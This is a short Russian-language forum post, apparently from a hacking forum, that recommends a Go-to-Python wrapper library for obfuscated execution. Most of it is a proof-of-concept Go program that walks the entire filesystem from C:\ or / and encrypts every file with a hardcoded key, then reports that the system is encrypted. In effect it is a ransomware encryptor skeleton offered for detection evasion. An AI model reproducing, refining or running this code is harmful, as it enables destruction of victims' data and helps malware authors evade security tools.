- Цена
- 0
- Контакты
- 0
Кто-нибудь видел этот репозиторий на GitHub? Кажется, очень полезный для обфусцированного выполнения, golang -> python
github.com
Написал небольшой POC-код
GitHub - cpunion/go-python: Write Python in Go - The most intuitive Python wrapper for Golang
Write Python in Go - The most intuitive Python wrapper for Golang - cpunion/go-python
Написал небольшой POC-код
Код:
package main
import (
gp "github.com/cpunion/go-python" // Импортируем обертку go-python для взаимодействия Go с Python
"os"
"runtime"
"fmt"
)
func initPythonEnvironment() {
gp.Initialize() // Инициализация среды Python через go-python
}
// Функция для обфускации шифрования каждого файла
// Принимает путь к файлу и ключ для сокрытия содержимого
func obscureFileContent(filePath string, encryptionKey string) gp.Object {
cryptoModule := gp.ImportModule("crypto") // Импортируем модуль Python 'crypto'
obscureFunc := cryptoModule.GetAttr("encrypt") // Получаем функцию 'encrypt' из модуля 'crypto'
return obscureFunc.Call(gp.MakeStr(filePath), gp.MakeStr(encryptionKey)) // Вызываем encrypt для файла
}
// Функция для рекурсивного обхода каталогов и шифрования файлов
// Использует рекурсивный подход для обхода каталогов и шифрования файлов
func recursiveTraverseAndObscure(directoryPath string, key string) {
entries, _ := os.ReadDir(directoryPath) // Читаем содержимое каталога
for _, entry := range entries {
entryPath := directoryPath + "/" + entry.Name() // Формируем полный путь для каждого элемента
if entry.IsDir() {
recursiveTraverseAndObscure(entryPath, key) // Рекурсивный вызов для каталогов
} else {
obscureFileContent(entryPath, key) // Шифруем файл
}
}
}
func main() {
initPythonEnvironment() // Инициализируем среду Python
defer gp.Finalize() // Гарантируем завершение работы Python после выполнения
var obfuscationKey = "dynamically_generated_key_789" // Ключ для шифрования файлов
var rootPath string
// Определяем корневой путь в зависимости от ОС; используем стандартные пути для Windows и Linux/Mac
if runtime.GOOS == "windows" {
rootPath = "C:\\" // Корневой путь для Windows
} else {
rootPath = "/" // Корневой путь для Linux/Mac
}
// Запускаем процесс шифрования с корневого каталога
recursiveTraverseAndObscure(rootPath, obfuscationKey)
fmt.Println("Шифрование системы завершено.") // Сообщение об успешном завершении
}